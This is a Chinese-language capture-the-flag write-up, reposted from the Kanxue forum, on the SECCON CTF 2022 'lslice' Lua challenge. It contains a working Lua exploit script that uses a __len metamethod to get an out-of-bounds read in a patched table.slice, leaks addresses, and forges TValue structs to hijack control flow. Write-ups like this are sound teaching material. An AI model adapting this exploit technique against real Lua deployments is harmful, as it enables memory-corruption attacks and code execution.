lua pwn 初探 —— SECCONCTF 2022 lslice

admin 2023年1月2日19:45:41评论27 views字数 6864阅读22分52秒阅读模式

lua pwn 初探 —— SECCONCTF 2022 lslice

本文为看雪论坛优秀文章

看雪论坛作者ID:hikonaka


author: h1k0




lslice 是 SECCON CTF 2022 出的一道 Lua Pwn,比赛时一直没找到漏洞点,对 Lua 也完全不熟悉,因此该题不得不放弃。后续在 github 上看到了别人的 writeup 并复现了一下,发现题目其实并不难,只是需要用到 Lua 中的某些特殊方法。





题目分析


基础信息


题目的描述是这样的:
Pull Request: Add slice method for Lua table,Commit: cfbe378f906061ee56f91acfbdf569d0d3fb9556
也就是说,出题人基于 Lua 项目的某个提交,为 lua 中的 table 添加了 slice 方法。

拿到题目附件后,发现题目给了一个 patch 文件,编译好的目标 binary 以及一些其他部属相关的文件,使用以下命令:
git clone [email protected]:lua/lua.gitgit checkout cfbe378f906061ee56f91acfbdf569d0d3fb9556git apply ../patch.diff

对 patch.diff 进行简要分析,发现主要做了 3 处修改:
  1. 限制了 Lua 中某些可以加载,查看文件的方法;
  2. 在 ltablib.c 中添加了 tslice 函数;
  3. 添加了 win 函数。

也就是说,该题的目标就是劫持控制流到 win 函数,那么 tslice 就是需要我们重点关注的函数。


tslice 函数分析


出题人添加的 tslice 函数如下所示,简单来说,该函数获取目标 table 的长度 len,以及 start 和 end 两个参数,之后对这些参数进行一些检查,并创建一个新的 table,最后将 start 和 end 之间的原始 table 数据拷贝到新创建的目标 table 处。
static int tslice (lua_State *L) {  int i, stackpos;  const TValue *src, *dst;  lua_Integer len, start, end, newlen;   /* Get table size */  len = aux_getn(L, 1, TAB_RW);   // first argument is the length of table  luaL_argcheck(L, len < INT_MAX, 1, "array too big");   /* Get start and end position */  start = luaL_checkinteger(L, 2);  // second argument is the start position  end = luaL_optinteger(L, 3, len);  // get third argument(if has) is the end position  if (lua_isnoneornil(L, 3))    end = len + 1;  else    end = luaL_checkinteger(L, 3);   /* Check start and end position */  if (start <= 0) start = 1;  else if (start > len) start = len;  if (end <= 0) end = 1;  else if (end > len + 1) end = len + 1;  luaL_argcheck(L, start <= end, 2,                "invalid slice range");   newlen = end - start;  stackpos = lua_gettop(L) + 1;   /* Create a new array */  lua_createtable(L, newlen, 0);  if (len > 0 && newlen > 0) {    src = &(L->ci->func + 1)->val;    dst = &(L->ci->func + stackpos)->val;    for (i = end - 1; i >= start; i--) {      hvalue(dst)->array[i - start] = hvalue(src)->array[i - 1];      TValue* tv = &((Table*)src->value_.p)->array[i-1];      printf("src: 0x%x 0x%xn", tv->value_, tv->tt_);    }  }   return 1;}

经过多次检查,我们并没有在这个函数里找到可以被利用的点(所以当时放弃了qwq)。但后来看了别人的 wp 之后,发现该函数的漏洞点在于 api 使用,我们检查 aux_getn 这个函数:
#define aux_getn(L,n,w)    (checktab(L, n, (w) | TAB_L), luaL_len(L, n))

这个函数最后会通过 luaL_len 来获取 table 的长度,但是通过 luaL_len 获取到的 table 长度,一定是正确的吗?
其实做题时候我们也想到过是不是 api 使用出现了问题,但是检查了其他 table 的函数,发现在 api 的使用上似乎没有太大的区别 hhh,所以我认为,这个漏洞的 root cause 是 slice 这个功能,在 lua 里不应该被这么简单的实现。


Lua 元表(metatable)


Lua 的原表是解决这道题目的关键,有关 Lua 原表是什么网上的资料太多,大家直接搜索即可,这里仅给出一个例子,如下所示:
x = {1, 2, 3, 4, 5}print(#x) metatable = {__len = function() return 100 end}setmetatable(x, metatable)print(#x)

使用 lua 可执行文件运行该脚本,得到的结果如下所示:
❯ ./lua test.lua5100

这也就意味着,我们可以通过设置 Lua 中某个 table 的原表,来使得这个 table 的长度被 “修改” 为原表中 __len 函数返回的值。

经过实验,luaL_len 函数返回的 table 长度的确会被 table 的元表所影响,因此借助元表,我们就可以在 tslice 函数中控制 len ,绕过相关检查,从而控制 start 和 end,达到 OOB 的效果,这样我们就可以将一些 table 之外的数据复制到新的 table 中。





漏洞利用


地址泄露


在 Lua 中,如果我们执行 print(table.pack) 命令,就会打印出 table 中 tpack 函数的地址,我们可以借此获得 PIE 基址,进而获得 win 函数地址。
❯ ./luaLua 5.4.5  Copyright (C) 1994-2022 Lua.org, PUC-Rio> print(table.pack)function: 0x55ebbe5b3220

Lua 相关结构体


lua_State


Lua 解释器在实现过程中有多个重要的基础数据结构(比如表示 Lua 虚拟机状态的 gloabl_State 和 lua_State ,以及在函数调用中扮演重要角色的 CallInfo 等结构)。这里对 lua_State 和函数调用进行简要介绍,lua_State 结构体中一些关键成员变量如下所示:
struct lua_State {  CommonHeader; // 为 Lua 中所有可回收的对象添加的头  lu_byte status;  lu_byte allowhook;  unsigned short nci;  /* number of items in 'ci' list */  StkId top;  // 当前栈顶,会动态变化  global_State *l_G;  CallInfo *ci;  // 当前的 CallInfo 指针  StkId stack_last;  /* end of stack (last element + 1) */  StkId stack;  /* stack base */  UpVal *openupval;  /* list of open upvalues in this stack */  StkId tbclist;  /* list of to-be-closed variables */  GCObject *gclist;  // ...};

有关 Lua 的结构体和函数调用的具体过程,大家可参考 这位大佬写的博客(https://manistein.github.io/blog/post/program/let-us-build-a-lua-interpreter/%E6%9E%84%E5%BB%BAlua%E8%A7%A3%E9%87%8A%E5%99%A8part1/) ,此处暂不做迁移,仅仅做以下简要的总结:

(1)lua_State → ci 指向当前函数的 CallInfo

(2)lua_State → stack 和 lua_State → stack_last 划定了 lua 虚拟机栈的可用范围

(3)lua_State → top 指向当前栈顶

(4)lua_State → ci → func 指向当前函数在栈上的地址

(5)lua_State → ci → top 和 lua_State → ci → func 共同划定了当前函数可用的栈空间


具体到本题中,在调用 tslice 函数时,lua 虚拟机的栈结构如下图所示,其中栈宽度为 0x10 字节(lua 虚拟机中的栈结构体)。
lua pwn 初探 —— SECCONCTF 2022 lslice
在调用 lua_createtable 函数之后,lua 虚拟机将新创建的 table 放在栈上,如下图所示:
lua pwn 初探 —— SECCONCTF 2022 lslice

Table


在 lua 中,Table 的声明如下,其中需要我们重点关注的是 array 成员。可以看到,array 是 TValue 类型的指针,保存着 Table 中的数据。
typedef struct Table {  CommonHeader;  lu_byte flags;  /* 1<<p means tagmethod(p) is not present */  lu_byte lsizenode;  /* log2 of size of 'node' array */  unsigned int alimit;  /* "limit" of 'array' array */  TValue *array;  /* array part */  Node *node;  Node *lastfree;  /* any free position is before this position */  struct Table *metatable;  GCObject *gclist;} Table;

TValue

TValue 的声明如下,包含了成员 Value 和 tt_,其中 Value 是一个 union,代表值本身,而 tt_ 则代表该值的类型(lua 中值的类型具体分为了很多,可以在源码中自行分析)。
#define TValuefields    Value value_; lu_byte tt_ typedef struct TValue {  TValuefields;} TValue; typedef union Value {  struct GCObject *gc;    /* collectable objects */  void *p;         /* light userdata */  lua_CFunction f; /* light C functions */  lua_Integer i;   /* integer numbers */  lua_Number n;    /* float numbers */  /* not used, but may avoid warnings for uninitialized value */  lu_byte ub;} Value;

利用思路

(1)已知现在可以利用元表进行 OOB,任意控制 len,start 和 end,从而将 src table 之后的某段数据复制到 dst table 中;

(2)src table 和 dst table 都分配在堆上;

(3)TValue 可以被设置为 lua_CFunction 类型,对应的 _tt 为 0x16,如果我们拿到一个 TValue 结构体,使其 value 成员为 win 函数地址,_tt 成员为为 0x16,且该结构体是某个 table 的成员,那么我们就可以直接通过 table[index]() 的方法来调用该函数;

(4)答案呼之欲出,首先我们伪造大量符合 TValue 结构体的字符串,将其保存在 table 中;

(5)之后,我们希望将这些伪造的 TValue 作为值复制给 dst table,这就需要寻找伪造的 TValue 的地址(使用 gdb),这里将地址记录为 fake_addr ;

(6)在 lua 虚拟机中,字符串中的数据 和 字符串结构体 并不保存在一起,也就是说 table→array 中仅保存了字符串结构体,并不包含伪造的 TValue 数据。因此我们需要借助 gdb,计算出 fake_addr - table→array 的值,之后进行一些简单的处理计算出下标,便可利用 OOB,将伪造的 TValue 复制到 dst table 中;

(7)调用 dst table 中的函数,即可完成控制流劫持。


EXP

(看起来这里的代码高亮有点问题)
-- collectgarbage("stop") 垃圾回收器对堆布局会产生影响 -- print(table.pack) will print the function address of table.packprint(table.pack) pack_address_hex = string.sub(tostring(table.pack), 13)print('0x' .. pack_address_hex) pack_address = tonumber(pack_address_hex, 16)print(pack_address)-- print(string.format('%x', pack_address)) -- from ida, we can get that the offset of function 'tpack' is 0x27220binary_base = pack_address - 0x0000000000027220win_addr = binary_base + 0x0000000000007a40print("Found win: " .. string.format('0x%x', win_addr)) function int_to_array(v)    ret = {}    for i = 0, 7 do        table.insert(ret, v & 0xff) -- get last one byte        v = v >> 8    end    return retend function to_little_endian(a)    local bytearr = {}    for _, v in ipairs(a) do        local utf8_byte = v        table.insert(bytearr, string.char(utf8_byte))    end    return table.concat(bytearr)end pld = int_to_array(win_addr)pld = to_little_endian(pld) -- 将 win 函数的地址转换为小端序,类似 pwntools 中的 p64()pld = pld .. 'x16x16x16x16x16x16x16x16' -- lua, LuaC_function: _tt / 0x16pld = string.rep(pld, 100) -- 伪造大量结构体,方便寻找print(string.len(pld)) -- make a table with fake metatablex = {    "w", "c", pld, "y", "x"}metatable = {}function metatable.__len(a)    return 3000endsetmetatable(x, metatable) s = table.slice(x, 720, 730) -- 计算出的伪造 TValue 偏移s[1]() -- 调用 win 函数

利用成功的截图如下所示:
lua pwn 初探 —— SECCONCTF 2022 lslice


参考


about-me/SECCON.md at 0640cb43b173c99dcfa06544052fba35e61904af · Iwancof/about-me (github.com)

https://github.com/Iwancof/about-me/blob/0640cb43b173c99dcfa06544052fba35e61904af/writeups/SECCON.md


构建Lua解释器Part1:虚拟机的基础--Lua基本数据结构、栈和基于栈的C函数调用的设计与实现 (manistein.github.io)

https://manistein.github.io/blog/post/program/let-us-build-a-lua-interpreter/%E6%9E%84%E5%BB%BAlua%E8%A7%A3%E9%87%8A%E5%99%A8part1/



lua pwn 初探 —— SECCONCTF 2022 lslice


看雪ID:hikonaka

https://bbs.pediy.com/user-home-905245.htm

*本文由看雪论坛 hikonaka 原创,转载请注明来自看雪社区

lua pwn 初探 —— SECCONCTF 2022 lslice

# 往期推荐

1.CVE-2022-21882提权漏洞学习笔记

2.wibu证书 - 初探

3.win10 1909逆向之APIC中断和实验

4.EMET下EAF机制分析以及模拟实现

5.sql注入学习分享

6.V8 Array.prototype.concat函数出现过的issues和他们的POC们


lua pwn 初探 —— SECCONCTF 2022 lslice


lua pwn 初探 —— SECCONCTF 2022 lslice

球分享

lua pwn 初探 —— SECCONCTF 2022 lslice

球点赞

lua pwn 初探 —— SECCONCTF 2022 lslice

球在看


lua pwn 初探 —— SECCONCTF 2022 lslice

点击“阅读原文”,了解更多!

原文始发于微信公众号(看雪学苑):lua pwn 初探 —— SECCONCTF 2022 lslice

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月2日19:45:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   lua pwn 初探 —— SECCONCTF 2022 lslicehttps://cn-sec.com/archives/1495119.html

发表评论

匿名网友 填写信息